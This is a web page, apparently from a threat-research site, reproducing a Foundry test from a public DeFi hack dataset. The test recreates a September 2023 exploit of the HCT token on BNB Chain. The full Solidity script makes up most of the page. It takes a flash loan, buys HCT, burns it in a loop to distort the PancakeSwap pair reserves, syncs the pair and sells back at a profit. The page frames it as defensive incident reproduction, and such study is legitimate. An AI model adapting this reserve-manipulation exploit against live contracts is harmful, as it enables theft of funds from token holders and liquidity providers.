Skip to content
THREATWIRE

Public reproduction file

src/test/2023-09/HCT_exp.sol

Public reproduction file for dataset entry HCT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-09/HCT_exp.sol104 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : 30.5BNB
8// Attacker : https://bscscan.com/address/0xc892d5576c65e5b0db194c1a28aa758a43bb42a5
9// Attack Contract : https://bscscan.com/address/0xd7a2fc756e1053b152f90990129f94c573e006fd
10// Attack Tx : https://bscscan.com/tx/0x84bd77f25cc0db493c339a187c920f104a69f89053ab2deabb93c35220e6dfc0
12// @Analysis
13// Twitter Guy : https://twitter.com/leovctech/status/1699775506785198499
15interface ICoinToken {
16 function balanceOf(
17 address account
18 ) external view returns (uint256);
20 function transfer(address recipient, uint256 amount) external returns (bool);
22 function allowance(address _owner, address spender) external view returns (uint256);
24 function approve(address spender, uint256 amount) external returns (bool);
26 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
28 function burn(
29 uint256 _value
30 ) external;
32 event Transfer(address indexed from, address indexed to, uint256 value);
34 event Approval(address indexed owner, address indexed spender, uint256 value);
37contract ContractTest is Test {
38 IPancakePair PancakePair = IPancakePair(0xdbE783014Cb0662c629439FBBBa47e84f1B6F2eD);
39 IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
40 ICoinToken HCT = ICoinToken(0x0FDfcfc398Ccc90124a0a41d920d6e2d0bD8CcF5);
41 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
42 IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
43 uint256 baseAMount = 2_200_000_000_000_000_000_000;
45 function setUp() public {
46 vm.createSelectFork("bsc", 31_528_198 - 1);
47 vm.label(address(PancakePair), "PancakePair");
48 vm.label(address(router), "PancakeRouter");
49 vm.label(address(WBNB), "WBNB");
50 vm.label(address(HCT), "HCT");
51 vm.label(address(DPPOracle), "DPPOracle");
52 approveAll();
53 }
55 function testExploit() external {
56 uint256 startBNB = WBNB.balanceOf(address(this));
57 console.log("Before Start: %d BNB", startBNB);
59 DPPOracle.flashLoan(baseAMount, 0, address(this), abi.encode(baseAMount));
61 uint256 intRes = WBNB.balanceOf(address(this)) / 1 ether;
62 uint256 decRes = WBNB.balanceOf(address(this)) - intRes * 1e18;
63 console.log("Attack Exploit: %s.%s BNB", intRes, decRes);
64 }
66 function DPPFlashLoanCall(address sender, uint256 amount, uint256 quoteAmount, bytes calldata data) external {
67 swapWBNBtoHCT();
68 burn();
69 PancakePair.sync();
70 swapHCTtoWBNB();
71 WBNB.transfer(address(DPPOracle), baseAMount);
72 }
74 function swapWBNBtoHCT() internal {
75 uint256 amountIn = baseAMount;
76 address[] memory path = new address[](2);
77 (path[0], path[1]) = (address(WBNB), address(HCT));
78 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
79 amountIn, 1, path, address(this), type(uint256).max
80 );
81 }
83 function burn() internal {
84 while (true) {
85 if (HCT.balanceOf(address(this)) <= 70) {
86 break;
87 }
88 HCT.burn(HCT.balanceOf(address(this)) * 8 / 10 - 1);
89 }
90 }
92 function swapHCTtoWBNB() internal {
93 address[] memory path = new address[](2);
94 (path[0], path[1]) = (address(HCT), address(WBNB));
95 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
96 HCT.balanceOf(address(this)), 10, path, address(this), type(uint256).max
97 );
98 }
100 function approveAll() internal {
101 WBNB.approve(address(router), baseAMount);
102 HCT.approve(address(router), baseAMount);
103 }

Analysis

Dataset entry

Public Foundry test for “HCT” (2023-09-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc892d5576c65e5b0db194c1a28aa758a43bb42a5

  • Attack Contract

    0xd7a2fc756e1053b152f90990129f94c573e006fd

  • Attack Tx

    0x84bd77f25cc0db493c339a187c920f104a69f89053ab2deabb93c35220e6dfc0

File record

Name
HCT
Path
src/test/2023-09/HCT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ed6c23ac02096c0e1cee5903b9cfd60453a93622
Language
Solidity
Size
105 lines
Date
2023-09-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-09/HCT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ed6c23ac02096c0e1cee5903b9cfd60453a93622, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.